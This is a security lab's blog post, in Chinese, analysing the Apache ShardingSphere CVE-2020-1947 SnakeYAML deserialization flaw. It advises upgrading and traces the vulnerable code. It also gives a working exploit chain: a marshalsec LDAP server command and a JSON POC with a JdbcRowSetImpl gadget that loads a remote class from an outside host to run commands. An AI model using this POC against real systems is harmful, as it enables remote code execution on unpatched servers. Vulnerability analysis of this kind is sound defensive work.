浙江省委宣传部副部长、省委网信办主任赵磊:守正创新 辩证施策 全力推动网络生态治理工作迈上新台阶
2026-02-10
美创产品全面入围中直机关2025年网络设备框架协议采购项目
2026-02-04
连续5年!美创再获中国网络安全产业联盟“先进会员单位”表彰
2026-01-21
每周安全速递³⁷¹ | 勒索软件攻击导致心理健康机构超11万人数据泄露
2026-01-06
四年同行,韧性共铸:西南某商行携手美创科技再度通过年度容灾大考
2025-12-26
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务在2020年3月9日,Apache官方公开了一个远程代码执行漏洞,编号CVE-2020-1947,攻击者可以利用此漏洞执行任意代码,甚至完全控制目标主机,借着POC已被公开的机会,本期美创安全实验室带大家一起分析一波这个漏洞的成因以及POC工作原理。
01
漏洞介绍
此次的漏洞发生在Apache基金会下面的一个名叫Apache ShardingSphere项目上,这个Apache ShardingSphere其实是一套由开源的分布式数据库中间件解决方案组成的生态圈,其中包含几个比较重要的独立产品:Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar。这些相互独立的产品均提供了标准化的数据分片、分布式事务和数据库治理的功能。
产品的设计固然是好的,但这次问题出现在ShardingSphere在解析某一文件(snakeyaml)时没有对其进行校验,因此出现了反序列化漏洞,从而导致可以允许用户提交恶意代码并执行的情况发生。
本次漏洞影响了整个生态圈中大多数的组件,如Sharding-JDBC、Sharding-Proxy、Sharding-UI等,影响的版本包括了小于4.0.1版本的所有Apache ShardingSphere而4.0.1版本并不受影响,因此在开始之前先提醒各位,如果有使用上述产品的请尽快升级到最新版本。
02
漏洞验证
1)搭建环境
首先从apache官网下载ShardingSphere产品,一定要下载4.0.1以前的版本。

将压缩包解压后,进入bin目录,直接运行start.sh

直接访问127.0.0.1:8088端口,输入默认用户名和密码:admin/admin,即可进入前端页面。

在注册中心页面中,添加一个zookeeper服务端,并与其连接,至此漏洞环境已经搭建完成了。

2)构建EXP
新建一个JAVA文件,构建一个能触发反序列化的EXP,能够执行任意指令,这里我们让其执行新建一个文件名为CVE-2020-1947的命令。根据普通的反序列exp稍微修改一下即可。

将刚刚生成的java文件进行编译,生成.class文件。

在此目录下利用Python启动一个简易的HTTPServer服务,其他机器访问8000端口就可访问到上面生成的exp。

开启了HTTPServer服务后,还需要启动IDAP服务,这里我利用了marshalsec工具,执行以下命令,开启idap:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer http://192.168.20.35:8000/#ExportObject

3)触发漏洞
这个漏洞的触发点在配置管理页面中的添加功能上,点击添加功能,可以配置刚刚注册的zookeeper,随意输入一些参数,点击提交并抓包。

抓包后,将下面的参数替换为网上给出的poc,如下:
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors: encryptor_aes: type: aes props: aes.key.value: 123456abc encryptor_md5: type: md5 tables: t_encrypt: columns: user_id: plainColumn: user_plain cipherColumn: user_cipher encryptor: encryptor_aes order_id: cipherColumn: order_cipher encryptor: encryptor_md5",
"dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl dataSourceName: ldap://192.168.20.35:1389/ExportObject autoCommit: true"
}

此时已经成功触发了exp,执行了我们之前写好的代码“touch /tmp/CVE-2020-1947”,回到被控机上进行检查,果然出现了这个文件,证明漏洞触发成功。

03
漏洞原理
根据对漏洞POC的抓包我们可以知道,此漏洞的触发点在/api/schema上,且是POST方法提交。因此我们搜索其源码,找到控制着schema的控制器源码

在ShardingSchemaController.java中,根据处理POST请求的条件,定位到如下的源码,分析其代码可以发现,此函数执行了一个shardingSchemaService.addSchemaConfiguration函数。

跟进此函数,在ui->service->impl->ShardingSchemaServiceImpl.java中定位到了此函数的处理方法。此函数接收三个参数,schemaName、ruleConfiguration、dataSourceConfiguration正好就是我们所输入的poc参数,分析POC可以发现,触发exp的参数是第三个,所以我们主要关注处理第三个参数的函数checkDataSourceConfiguration()。

继续根据这个函数checkDataSourceConfigure,还是在这个文件中找到了这个函数的处理方式,此函数将之前接收到的参数执行了一个新的函数ConfigurationYamlConverter.loadDataSourceConfigurations()。

继续跟进这个函数ConfigurationYamlConverter.
loadDataSourceConfigurations,可以看到该函数会调用YamlEngine.unmarshal去处理数据,继续跟进这个函数就可以到达最终的反序列化漏洞点了。

下图为unmarsha函数的代码,可以很明显的看出yaml直接通过new Yaml().load()来加载yaml,此函数并没考虑恶意加载的情况,攻击者可以直接通过这个方法导致反序列恶意类被加载。因此我们可以构建上一部分的exp代码,触发该反序列漏洞,造成任意命令执行。